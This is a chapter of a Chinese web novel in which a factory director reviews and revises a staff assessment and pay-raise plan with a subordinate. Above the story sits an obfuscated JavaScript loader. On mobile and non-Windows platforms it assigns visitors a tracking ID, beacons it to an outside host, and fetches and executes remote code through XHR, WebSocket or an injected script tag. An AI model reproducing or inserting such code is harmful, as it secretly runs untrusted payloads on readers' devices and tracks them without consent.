第398章 考核方案(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
“姜厂长,我大概写了一个考核方案,您看一下。”金国炎拿着熬了一个星期夜写好的考核方案走进了姜小白办公室。
“好,我看看。”姜小白接了过来。
姜小白先大概翻看了一下,挺厚,字写的也不错,不管方案设计的好不好,最起码这态度是好的。
姜小白认真的看了起来,不得不说金国炎还是有些才华的,真的决定做事。
这考核方案还是设计的挺不错的。
“不错,不错,可以啊老金,”姜小白大概看了一遍以后,放下方案看着金国炎说道。
从对自己的称呼金厂长,到老金,转化的十分自然,不过他现在也不在乎这个了?
就是叫自己小金又能够怎么样?
“不过还有一些地方需要改一下。”姜小白说道。
“好的。您说。”金国炎拿出笔本。
“一就是,奖励的地方,每个月的优秀员工,奖金可以更高一点,比如,五十块钱,比如一百块钱。拿着三块,五块的没有意思,也激发不了大家的干劲。”
姜小白说道。
“五十块,一百块,是不是太多了?”金国炎问道。
“不多,一点都不多,而且考核合格的员工,也可以提高工资,现在我们厂子工人的评论工资不是30块钱吗,给我提到50块,连续两个月考核合格的工人一个月发五十块。”
姜小白笑着说道。
“那,这个对厂子里的支出,负担会加大啊。”金国炎说道。
“没事,让那些吃空饷的,和考核不合格的下岗,钱不就有了吗?再说了,大兴玻璃厂要改革,就要充分的调动起工人的积极性来,为厂子增加燃料,这样厂子才能够改革,才能够加速发展。
厂长改革了,发展的好了,钱自然也就多了,这是一个良性的循环。”
姜小白敲着桌子说道,一家企业节流重要,但是更重要的是开源。
不然的话,拿着传销组织前期怎么挣钱,就是开源。
“好。我记下了。”金国炎点头,一下子就把大兴玻璃厂工人的工资提高了66%点多。
金国炎都暗暗咋舌,也不知道这个消息公布出去的时候,厂子里的其他人会有什么反应。
“还有就是关于干部的考核,要更加的细致化,和强化领导责任制,你车间的小组出事了,组长负责,车间出事了,车间主任负责,厂子里生产出事生产副厂长负责,后勤出事了,分管后勤的副厂长负责……”
姜小白说道。
金国炎手里一个哆嗦,这以后大家都没有好日子过了啊。
往常都是有事各种推脱责任,这以后不用说推脱了,得直接负责了。
姜小白和金国炎谈完改革方案的事情以后,又问道:“陈少东的事,你和几个厂委成员沟通过了吗?”
“沟通过了,沈主任没有意见,杜主任说要坚决拥护在以您为核心的厂党委班子下做出的决定。许副厂长那边态度不明。”
金国炎说道。
“好,那最近安排一下,召开一个厂委会,研究通过一下。”
姜小白说道。
和金国炎谈完,金国炎回厂子该方案,姜小白开车来到了西单饭店。
今天中午约好了和牟其中一起吃饭。